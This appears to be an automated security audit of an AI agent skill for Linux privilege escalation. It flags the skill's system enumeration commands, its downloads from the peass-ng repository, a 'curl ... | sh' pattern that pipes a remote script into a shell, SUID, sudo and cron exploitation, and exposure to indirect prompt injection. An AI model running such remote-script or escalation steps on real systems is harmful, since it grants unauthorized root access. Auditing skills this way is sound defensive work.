The Agent Skills Directory

[COMMAND_EXECUTION]: The scripts/agent.py script executes various system commands using the subprocess module to perform system enumeration. This includes tools such as hostname, uname, sudo -l, find, getcap, and crontab. These commands are used to identify potential security misconfigurations on the target system.
[EXTERNAL_DOWNLOADS]: The documentation in references/workflows.md references external scripts for automated enumeration. It provides instructions for downloading tools from the peass-ng and mzet- GitHub repositories, which are well-known resources in the cybersecurity community.
[REMOTE_CODE_EXECUTION]: The references/workflows.md file contains command patterns that pipe remote script content directly into a shell (e.g., curl ... | sh). While this is a common practice for tools like LinPEAS during security assessments, it represents a remote code execution pattern.
[PRIVILEGE_ESCALATION]: The skill is explicitly designed to assist in Linux privilege escalation. It provides logic and documentation for exploiting SUID binaries, misconfigured sudo permissions, writable cron jobs, and kernel vulnerabilities to gain root access.
[INDIRECT_PROMPT_INJECTION]: The skill represents a surface for indirect prompt injection as it ingests and processes untrusted data from the local system environment.
Ingestion points: The scripts/agent.py utility reads and parses output from system commands and configuration files like /etc/crontab and /etc/os-release (referenced in scripts/agent.py).
Boundary markers: No explicit boundary markers or 'ignore' instructions are used to delimit system-provided data from agent instructions.
Capability inventory: The script possesses the capability to execute shell commands and read sensitive files based on the enumerated data.
Sanitization: System outputs are processed and presented to the agent without extensive sanitization or validation.

performing-privilege-escalation-on-linux